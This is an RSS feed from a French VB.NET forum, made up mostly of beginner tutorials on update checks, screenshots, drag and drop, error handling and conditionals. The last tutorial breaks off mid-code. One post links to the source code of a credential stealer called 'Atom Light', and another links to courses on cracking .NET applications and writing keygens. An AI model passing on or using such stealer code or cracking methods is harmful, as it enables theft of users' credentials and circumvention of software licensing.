<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[VB.Net]]></title><description><![CDATA[VB.Net]]></description><link>https://melinyel.net/category/47</link><generator>RSS for Node</generator><lastBuildDate>Wed, 02 Sep 2026 04:05:50 GMT</lastBuildDate><atom:link href="https://melinyel.net/category/47.rss" rel="self" type="application/rss+xml"/><pubDate>Mon, 24 Nov 2014 19:36:02 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Mise à jour automatique par internet]]></title><description><![CDATA[&lt;p style="text-align:center;"&gt;&lt;span style="font-size:18px;"&gt;&lt;u&gt;&lt;strong&gt;.:: Mise à jour automatique par internet ::.&lt;/strong&gt;&lt;/u&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Aujourd'hui je vais vous apprendre comment faire un système de Mise à jour automatique par internet.&lt;/em&gt; &lt;em&gt;Si vous avez le moindre problème avec ce tutoriel, je vous invite à laisser un message pour me prévenir (et afin que je puisse vous aidez à régler ce problème)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;strong&gt;Sommaire :&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;1) A quoi ça va nous servir ?&lt;/p&gt;
&lt;p&gt;2) Tutoriel&lt;/p&gt;
&lt;p&gt;3) Code complet&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;strong&gt;1) A quoi ça va nous servir ?&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Donc tout d'abbord, si vous avez un programme dont vous oubliez à chaque fois de mettre la mise à jour sur un forum ou autre, ce système peut très bien convenir pour vous. De plus, il est largement plus facile d'utiliser ce système que de mettre à chaque fois la mise à jour sur un post quelconque.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;strong&gt;2) Tutoriel :&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;-&gt; Commencer par créer un projet&lt;/p&gt;
&lt;p&gt;-&gt; Ajouter un bouton&lt;/p&gt;
&lt;p&gt;-&gt; Double cliquer sur la form qui se présente devant vous, normalement, la partie ou l'on doit entrer les codes apparaîts&lt;/p&gt;
&lt;p&gt;-&gt; Pour commencer, ajouter "Imports Systems.Net" (juste au dessus de Public Class Form1)&lt;/p&gt;
&lt;p&gt;Pour l'instant, votre code devrait ressembler à ça :&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;blockquote class="ipsStyle_spoiler" data-ipsspoiler=""&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Imports System.Net
Public Class MAJ
End Class
&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;-&gt; Ajouter dans le class, un dim, qu'on nommera "Version", il servira à définir la version actuelle de votre programme (changer la 1.0 par la version souhaitée)&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim version as string = "1.0"
&lt;/pre&gt;
&lt;p&gt;-&gt; Retourner sur l'interface de la form, et double cliquer sur le boutton que vous avez ajouter précedemment, cela devrait vous redirigez vers les codes et ajouter un SUB.&lt;/p&gt;
&lt;p&gt;-&gt; Dans ce sub, nous allons définir ce que dois faire le boutton, ici, il devra vérifier s'il y a une mise à jour (Si oui, il vous indiquera que votre programme n'est pas à jour et vous inviteras à télécharger la mise à jour, si non, il vous indiquera que votre programme est à jour)&lt;/p&gt;
&lt;p&gt;-&gt; Nous allons créer un TXT ou on metteras notre version dedans, pour mon exemple, j'ai pris 3.0. Héberger ce TXT sur un hébergeur (j'ai pris Dropbox pour ma part). S'il n'y a pas de mise à jour, laissez la version actuelle, s'il y en a une, mettez la nouvelle version de votre programme. (Ex : Si mon ancien programme est de version 1.0, et que je laisse 1.0 dans le TXT, aucune mise à jour ne sera faite. Hors, si la version de mon TXT à changer par 2.0 car j'ai fais une mise à jour, celle-ci sera alors faite)&lt;/p&gt;
&lt;p&gt;(Exemple d'hébergement sur dropbox : &lt;a href="https://dl.dropboxusercontent.com/s/z5xu2ktgn0uw5bn/Version.txt" rel="external nofollow"&gt;https://dl.dropboxusercontent.com/s/z5xu2ktgn0uw5bn/Version.txt&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;-&gt; Dans notre code, nous allons ajouter deux DIM. Un qui se nommera "MAJ" et un autre qui se nommera "DernièreVersion". Le Dim DernièreVersion servira à vérifier la version actuelle de notre programme à celle qui est indiquée sur internet.&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim MAJ As New Webclient
Dim DernièreVersion As String = MAJ.DownloadString("https://dl.dropboxusercontent.com/s/z5xu2ktgn0uw5bn/Version.txt")
&lt;/pre&gt;
&lt;p&gt;(Changer le lien par le votre)&lt;/p&gt;
&lt;p&gt;Votre code devrait ressembler à ça :&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;blockquote class="ipsStyle_spoiler" data-ipsspoiler=""&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Imports System.Net
Public Class MAJ
    Private Sub MephButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MephButton1.Click
        Dim MAJ As New WebClient
        Dim DernièreVersion As String = MAJ.DownloadString("https://dl.dropboxusercontent.com/s/z5xu2ktgn0uw5bn/Version.txt")
    End Sub
End Class
&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;-&gt; Ensuite, nous allons indiquer au bouton ce qu'il doit faire lorsque il y a une mise à jour ou non. Pour cela nous allons créer un If :&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If Version = DernièreVersion Then
 
End If
&lt;/pre&gt;
&lt;p&gt;-&gt; Dans ce If, nous allons tout d'abord ajouter un MsgBox qui nous indiquera qu'il n'y a pas de mise à jour (si la version du programme est identique à celle marquée sur internet)&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If Version = DernièreVersion Then
MsgBox("Le programme est à jour", MsgBoxStyle.Information, "Mise à jour")
End If
&lt;/pre&gt;
&lt;p&gt;-&gt; Pour le moment, nous avons juste indiquer au bouton ce qu'il devait faire quand il n'y avait pas de mise à jour. Indiquons lui maintenant ce qu'il doit faire quand il y aura une mise à jour. Commençons par lui ajouter une MsgBox nous indiquant que le programme n'est pas à jour (si la version du programme n'est pas identique à celle héberger sur internet)&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If Version = DernièreVersion Then
MsgBox("Le programme est à jour", MsgBoxStyle.Information, "Mise à jour")
Else
MsgBox("Le programme n'est pas à jour" &amp; vbNewLine &amp; "La dernière version est : " &amp; Dernièreversion, vbOkOnly + MsgBoxStyle.Critical, "Mise à jour"
End if
&lt;/pre&gt;
&lt;p&gt;Sur le code ci-dessus, pour le deuxième message box. J'ai en premier temps mis un message fixe et fais un retour à la ligne (vbNewLine), ensuite j'ai mis un autre texte fixe puis j'ai ajouter le Dim DernièreVersion, qui indiquera automatiquement la version du programme disponible sur internet.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;-&gt; Il vous faut créer un nouveau TXT, qu'on nommera "NewVersion", celui-ci contiendra le lien de téléchargement de la nouvelle version. S'il n'y a pas de nouvelle version (et donc pas de mise à jour) mettez tout simplement /&lt;/p&gt;
&lt;p&gt;(Exemple : &lt;a href="https://dl.dropboxusercontent.com/s/yv3wgdyjolabyl4/NewVersion.txt" rel="external nofollow"&gt;https://dl.dropboxusercontent.com/s/yv3wgdyjolabyl4/NewVersion.txt&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;-&gt; Ensuite dans le code, nous allons ajouter deux dim. Un qui se nommera "NewVersion", qui contiendra le lien de téléchargement de la nouvelle version, et un autre "NewVersionDownload", qui indiquera ou le programme doit télécharger la nouvelle version.&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim NewVersion As New WebClient
Dim NewVersionDownload As String = NewVersion.DownloadString("https://dl.dropboxusercontent.com/s/yv3wgdyjolabyl4/NewVersion.txt")
&lt;/pre&gt;
&lt;p&gt;Le tutoriel est désormais terminé, vous pouvez maintenant tester le programme que vous venez vous-même de faire.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;PS : Changer la version disponible sur internet afin de voir si votre programme détecte bien celle-ci et donc que le If est bien fais.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;strong&gt;Code complet :&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Je vous donne le code source, seulement pour vous aider à comprendre et donc apprendre comment fonctionne ce système !&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;blockquote class="ipsStyle_spoiler" data-ipsspoiler=""&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Imports System.Net
Public Class MAJ
    Dim version As String = "1.0"
    Private Sub MephButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MephButton1.Click
        Dim MAJ As New WebClient
        Dim DernièreVersion As String = MAJ.DownloadString("https://dl.dropboxusercontent.com/s/z5xu2ktgn0uw5bn/Version.txt")
        If Version = DernièreVersion Then
            MsgBox("Le programme est à jour", MsgBoxStyle.Information, "Mise à jour")
        Else
            MsgBox("Le programme n'est pas à jour", &amp; vbNewLine &amp; "La dernière version est : " &amp; DernièreVersion, vbOKOnly + MsgBoxStyle.Critical, "Mise à jour")
            Dim NewVersion As New WebClient
            Dim NewVersionDownload As String = NewVersion.DownloadString("https://dl.dropboxusercontent.com/s/yv3wgdyjolabyl4/NewVersion.txt")
        End If
    End Sub
End Class
&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Je pense que ça devrait-être tout pour mon premier tutoriel. Il y aura pas la suite d'autres, que je suis en train d'écrire  &lt;/p&gt;
]]></description><link>https://melinyel.net/topic/1347/mise-à-jour-automatique-par-internet</link><guid isPermaLink="true">https://melinyel.net/topic/1347/mise-à-jour-automatique-par-internet</guid><dc:creator><![CDATA[iPheonix]]></dc:creator><pubDate>Mon, 24 Nov 2014 19:36:02 GMT</pubDate></item><item><title><![CDATA[Xenocrack - Apprendre le cracking d'application .net]]></title><description><![CDATA[&lt;p&gt;Plop&lt;/p&gt;
&lt;p&gt;Voici Xenocrack, un site de &lt;strong&gt;xenocode&lt;/strong&gt; avec plusieurs cours pour apprendre a cracker une application en .net.&lt;/p&gt;
&lt;p&gt;Le site comporte  également une section "divers" avec d'autres cours lié comme par exemple "introduction à la sécurité en .net"&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Les cours sont divisé comme ceci :&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;-Introduction au cracking .net&lt;/p&gt;
&lt;div&gt;-Petite introduction à Simple Assembly Explorer (SAE)&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;-Mon premier crack&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;-CFF Explorer -Quand SAE ne suffit plus&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;-Reflexil - le RE pour mamie&lt;/div&gt;
&lt;div&gt;-Introduction à Reflexil&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;-System de Licence&lt;/div&gt;
&lt;div&gt;-Mon premier Keygen&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;-System de Licence&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;-Debug avec VisualStudio&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;&lt;p&gt;Voici le site : &lt;a href="http://xenocrack.0pu.ru/#" rel="external nofollow"&gt;http://xenocrack.0pu.ru/#&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Si les cours vous plaisent, pensez à remercier Xenocode.&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/639/xenocrack-apprendre-le-cracking-dapplication-net</link><guid isPermaLink="true">https://melinyel.net/topic/639/xenocrack-apprendre-le-cracking-dapplication-net</guid><dc:creator><![CDATA[Droby]]></dc:creator><pubDate>Fri, 02 May 2014 21:47:56 GMT</pubDate></item><item><title><![CDATA[Sources Atom Light]]></title><description><![CDATA[&lt;p&gt;&lt;span style="font-size:18px;"&gt;Rebonjour à tous!&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:18px;"&gt;Voici les sources d'un stealer codé en VB.NET, &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size:18px;"&gt;Celui-ci se nomme Atom Light et voici les sources : &lt;a href="http://ge.tt/3vj5cEf1/v/0" rel="external nofollow"&gt;clique ici&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:24px;"&gt;Mth&lt;/span&gt;&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/624/sources-atom-light</link><guid isPermaLink="true">https://melinyel.net/topic/624/sources-atom-light</guid><dc:creator><![CDATA[Mth]]></dc:creator><pubDate>Wed, 30 Apr 2014 18:30:16 GMT</pubDate></item><item><title><![CDATA[[VB.net de A à Z] - Conditions et boucles]]></title><description><![CDATA[&lt;p&gt;Bonjour,&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Voici le tutoriel de "VB.net de A à Z" sur les conditions et boucles:&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;http://www.youtube.com/watch?v=1hNyLI2EoBc&lt;/p&gt;
&lt;div&gt; &lt;/div&gt;
]]></description><link>https://melinyel.net/topic/145/vbnet-de-a-à-z-conditions-et-boucles</link><guid isPermaLink="true">https://melinyel.net/topic/145/vbnet-de-a-à-z-conditions-et-boucles</guid><dc:creator><![CDATA[vfrz]]></dc:creator><pubDate>Fri, 14 Mar 2014 21:40:50 GMT</pubDate></item><item><title><![CDATA[[VB.net de A à Z] - Opérations sur variables]]></title><description><![CDATA[&lt;p&gt;Bonjour,&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Voici le tutoriel de "VB.net de A à Z" sur les opérations sur variables:&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;http://www.youtube.com/watch?v=hWuWL76utfA&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
]]></description><link>https://melinyel.net/topic/144/vbnet-de-a-à-z-opérations-sur-variables</link><guid isPermaLink="true">https://melinyel.net/topic/144/vbnet-de-a-à-z-opérations-sur-variables</guid><dc:creator><![CDATA[vfrz]]></dc:creator><pubDate>Fri, 14 Mar 2014 21:40:13 GMT</pubDate></item><item><title><![CDATA[[VB.net de A à Z] - Variables]]></title><description><![CDATA[&lt;p&gt;Bonjour,&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Voici le tutoriel de "VB.net de A à Z" sur les variables :&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;http://www.youtube.com/watch?v=SJyyZPdlTjY&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/143/vbnet-de-a-à-z-variables</link><guid isPermaLink="true">https://melinyel.net/topic/143/vbnet-de-a-à-z-variables</guid><dc:creator><![CDATA[vfrz]]></dc:creator><pubDate>Fri, 14 Mar 2014 21:39:20 GMT</pubDate></item><item><title><![CDATA[[VB.net de A à Z] - Premiers pas]]></title><description><![CDATA[&lt;p&gt;Bonjour !&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Aujourd'hui je vous poste la première (et surement les 3 autres après) vidéo de la série de tutoriel "VB.net de A à Z" que j'avait fait il y a quelque temps !&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;http://www.youtube.com/watch?v=i0oxIEOnkug&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/142/vbnet-de-a-à-z-premiers-pas</link><guid isPermaLink="true">https://melinyel.net/topic/142/vbnet-de-a-à-z-premiers-pas</guid><dc:creator><![CDATA[vfrz]]></dc:creator><pubDate>Fri, 14 Mar 2014 21:37:49 GMT</pubDate></item><item><title><![CDATA[[Tutoriel] Lire et écrire un fichier texte]]></title><description><![CDATA[&lt;p&gt;Bonsoir, &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Voici deux vidéos tutoriels qui ont été faites par moi pour apprendre à lire et écrire un fichier texte en VB.net :&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="ipsEmbeddedVideo" contenteditable="false"&gt;&lt;div&gt;&lt;iframe allowfullscreen="true" data-embed-src="https://www.youtube.com/embed/5UPzHKCj6QU?feature=oembed" frameborder="0" height="270" src="//melinyel.net/applications/core/interface/js/spacer.png" width="480"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="ipsEmbeddedVideo" contenteditable="false"&gt;&lt;div&gt;&lt;iframe allowfullscreen="true" data-embed-src="https://www.youtube.com/embed/-BMm5wNdw1k?feature=oembed" frameborder="0" height="270" src="//melinyel.net/applications/core/interface/js/spacer.png" width="480"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;
]]></description><link>https://melinyel.net/topic/132/tutoriel-lire-et-écrire-un-fichier-texte</link><guid isPermaLink="true">https://melinyel.net/topic/132/tutoriel-lire-et-écrire-un-fichier-texte</guid><dc:creator><![CDATA[vfrz]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:28:17 GMT</pubDate></item><item><title><![CDATA[Screeneur de screen dans un screenshot dans une capture d'écran =p]]></title><description><![CDATA[&lt;p&gt;
&lt;/p&gt;&lt;p&gt;Bonjour,&lt;/p&gt;&lt;p&gt;
je vais faire un tuto différent que d'habitude...&lt;/p&gt;&lt;p&gt;
Alors il vous faut :&lt;/p&gt;&lt;p&gt;
-1 Picturebox&lt;/p&gt;&lt;p&gt;
-4 boutons (start;stop;supprimer;enregistrer)&lt;/p&gt;&lt;p&gt;
-1 SaveFileDialog&lt;/p&gt;&lt;p&gt;
-1 Timer (Interval: 1)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
PS: si vous utilisez aussi des PicturesBoxs pour faire vos boutons en plus personnalisé, mettez comme couleur d'arrière plan: "transparent" dans l'onglet "web"&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
Double click sur le Timer mettez le code:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Me.BackgroundImage = PictureBox1.Image
Dim bounds As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim qraph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
qraph = Graphics.FromImage(screenshot)
qraph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot&lt;/pre&gt;
&lt;p&gt;Double click sur le bouton (start) mettez le code:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Timer1.start()&lt;/pre&gt;
&lt;p&gt;Double click sur le bouton (stop) mettez le code:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Timer1.stop()&lt;/pre&gt;
&lt;p&gt;Double click sur le bouton (supprimer) mettez le code:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
PictureBox1.Image = Nothing
Me.BackgroundImage = Nothing&lt;/pre&gt;
&lt;p&gt;Double click sur le bouton (enregister) mettez le code:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim savefiledialog1 As New SaveFileDialog
Try
savefiledialog1.Title = "Enregistrer"
savefiledialog1.FileName = ".PNG"
savefiledialog1.Filter = "Image PNG |.Png"
If savefiledialog1.ShowDialog() = DialogResult.OK Then
PictureBox1.Image.Save(savefiledialog1.FileName, System.Drawing.Imaging.ImageFormat.Png)
        End If
    Catch ex As Exception

    End Try&lt;/pre&gt;

&lt;p&gt;Programme : &lt;span style="color:#FF0000;"&gt;&lt;a href="http://www.mediafire.com/?guxuo3b77jpe3iu" rel="external nofollow"&gt;NSW.exe&lt;/a&gt;&lt;/span&gt;&lt;span style="color:#C0C0C0;"&gt;&lt;a href="http://www.virustotal.com/url-scan/report.html?id=59bfd33f44e824dbcc26de77ce88c88f-1298495448" rel="external nofollow"&gt; &lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color:#C0C0C0;"&gt;&lt;a href="http://www.virustotal.com/url-scan/report.html?id=59bfd33f44e824dbcc26de77ce88c88f-1298495448" rel="external nofollow"&gt;Contrôle VirusTotal&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;
Cordialement,&lt;/p&gt;&lt;p&gt;
Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/131/screeneur-de-screen-dans-un-screenshot-dans-une-capture-décran-p</link><guid isPermaLink="true">https://melinyel.net/topic/131/screeneur-de-screen-dans-un-screenshot-dans-une-capture-décran-p</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:28:13 GMT</pubDate></item><item><title><![CDATA[The Drag'n Drop è_é]]></title><description><![CDATA[&lt;p&gt;
&lt;/p&gt;&lt;p&gt;Salut all,&lt;/p&gt;&lt;p&gt;
donc voici un tuto sur le drag'n drop, ce qui consiste juste dans le fait de faire glisser un fichier dans un un programme.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
Donc sélectionnez votre élément ou votre form (selon la zone où vous voulez faire glisser le fichier, puis dans ses propriétés cherchez "AllowDrop" et activez le (True), si il n'est pas dans les propriétés, il est possible d'aller l'écrire directement dans le code du desing mais pour faire simple on va mettre le code suivant dans l’évènement du la form au chargement (double click sur la form ou double click sur l'évènement load de l'objet) et je rappel que ce code n'est que si vous n'avez pas trouvé "AllowDrop" dans les propriété:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
[Nom_de_l'élèment] .AllowDrop = true
&lt;/pre&gt;
&lt;p&gt;Sélectionnez votre élément et dans les propriétés allez dans l'onglet des events () et double click sur "DragEnter" et "DragDrop",&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
dans DragEnter entrez le code suivant:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
e.Effect = e.AllowedEffect
&lt;/pre&gt;
&lt;p&gt;dans DragDrop, dans cette exemple je vais charger un fichier image dans une picturebox:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Dim pictr() As String
Dim str As String ' va contenir le chamin d'accès
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
pictr = e.Data.GetData(DataFormats.FileDrop)
str = pictr(0)
PictureBox1.Load(str) 'je charge l'image
End If
&lt;/pre&gt;
&lt;p&gt;Et voilà c'est finis^^&lt;/p&gt;&lt;p&gt;
Bonne programmation à tous!&lt;/p&gt;&lt;p&gt;
Cordialement,&lt;/p&gt;&lt;p&gt;
Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/130/the-dragn-drop-èé</link><guid isPermaLink="true">https://melinyel.net/topic/130/the-dragn-drop-èé</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:26:15 GMT</pubDate></item><item><title><![CDATA[Gérer une erreur ._.]]></title><description><![CDATA[&lt;p&gt;
&lt;/p&gt;&lt;p&gt;Salut all,&lt;/p&gt;&lt;p&gt;
je vais faire un tuto rapide sur comment gérer une erreur, ce qui consiste en.. gérer une erreur.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
c'est super simple il suffit d'utiliser "Try", je vais prendre par exemple un picturebox qui doit charger une image dont l'adresse se trouve dans une textebox.&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Private Sub Machin_CLick() Handles Machin.click
Try
PictureBox1.load(textbox1.text) ' on essaie de charger l'image
Catch ex As Exception 'ex est la variable contient ls info sur l'erreur
MsgBox("Problème :" &amp; vbNewLine &amp; ex.Message.ToString, MsgBoxStyle.Critical) 'si la personne assez doué à mis un  lien pour un .txt par exemple, ça va afficher un message d'erreur
End Try
End Sub
&lt;/pre&gt;
&lt;p&gt;Donc en claire le programme va essayer le code dans "Try" et si il bug il va faire l'action dans "Catch"&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
Voilà mon p'tit tuto rapide est finis.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
Bonne programmation a tous!&lt;/p&gt;&lt;p&gt;
Cordialement,&lt;/p&gt;&lt;p&gt;
Mars073&lt;/p&gt;&lt;p&gt;
_________&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/129/gérer-une-erreur</link><guid isPermaLink="true">https://melinyel.net/topic/129/gérer-une-erreur</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 21:23:47 GMT</pubDate></item><item><title><![CDATA[Le test (no-stress, c'est pas pour vous)]]></title><description><![CDATA[&lt;p&gt;
&lt;/p&gt;&lt;p&gt;Shalut all,&lt;/p&gt;&lt;p&gt;
Comme je l'avais dis dans un tuto précédent je vais vous expliquer comment faire des tests et c'est super simple&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
Il y a juste plein de façon de le faire! xD&lt;/p&gt;&lt;p&gt;
Pour faire un test simple, on fait comme ceci:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If [valeur à tester] [symbôle du test (voir le bas)] [La valeur à la quelle elle est comparée] then
[Le code à exécuter si le test se révèle positif]
End If
&lt;/pre&gt;
&lt;p&gt;exemple:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If check = True then
Process.start("W:\tourbilol.exe")
End If
&lt;/pre&gt;
&lt;p&gt;Imaginons que nous programmons un jeu et que vous voulons tester la position_X soit 3 et que le position_Y soit 5 on va faire comme cela:&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If (position_X=3) and (position_Y=5) then
[Le code à exécuter si le test se révèle positif]
End If
&lt;/pre&gt;
&lt;p&gt;Il suffit juste de mettre les 2valeurs entre parenthèse et de mettre un "And"(et) entre les deux.^^&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
Toujours facile.. alors on va compliquer les choses x)&lt;/p&gt;&lt;p&gt;
Imaginons toujours notre petit jeux, cette fois je veux que la position_X soit 3 ou 5 et que que la position_Y soit 5  &lt;/p&gt;&lt;p&gt;
toujours simple mais bon :&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If ((position_X=3) Or (position_X=5)) and (position_Y=5) then
[Le code à exécuter si le test se révèle positif]
End If
&lt;/pre&gt;
&lt;p&gt;on ajoute encore des parenthèses et on met un "Or"(ou) même principe que le "And"&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
On monte encore un peu dans la difficulté  &lt;/p&gt;&lt;p&gt;
Cette fois la position_X doit être compris entre 3 et 5 et la position_Y doit doit être 5. è_é&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If ((position_X&gt;3) And (position_X&lt;5)) and (position_Y=5) then
[Le code à exécuter si le test se révèle positif]
End If
&lt;/pre&gt;
&lt;p&gt;Cette fois le test demande si le nombre est supérieur et si il est inférieur ^^&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
Maintenant on va demander que si number est 1 il envoie un message "c'est 1!"; si c'est 2 un message "c'est deux" et si ce n'est pas un des deux, le programme envoie un message "chiffre inconnu", et pour cela on va mettre un "Else If":&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If number=1 then
Msgbox("c'est 1!")
Else If number=2 then
Msgbox("c'est 2!")
Else
Msgbox("chiffre inconnu")
End If
&lt;/pre&gt;
&lt;p&gt;Edit: j'ai oublié de mettre comment faire pour faire directement un test pour tester si quelque chose n'est pas, un genre d'"Else If" mais direct dans le "If":&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
If Not (number=0) then [je ne pense pas que les parenthèses sont obligatoire mais je les mets toujours]
MsgBox("Le chiffre n'est pas zéro!")
End If
&lt;/pre&gt;
&lt;p&gt;Il existe aussi la méthode du "Case Of" :&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Select Case number
Case 1
Msgbox("c'est 1!")
Case 2
msgbox("c'est deux!")
Case Else
Msgbox("chiffre inconnu")
End Select
&lt;/pre&gt;
&lt;p&gt;dans un case of on peu directement tester si la valeur et entre 2 nombre avec un to, exmple: si number est entre 3 et 5, il envoie un message "boum !":&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
Select Case number
Case 1
Msgbox("c'est 1!")
Case 2
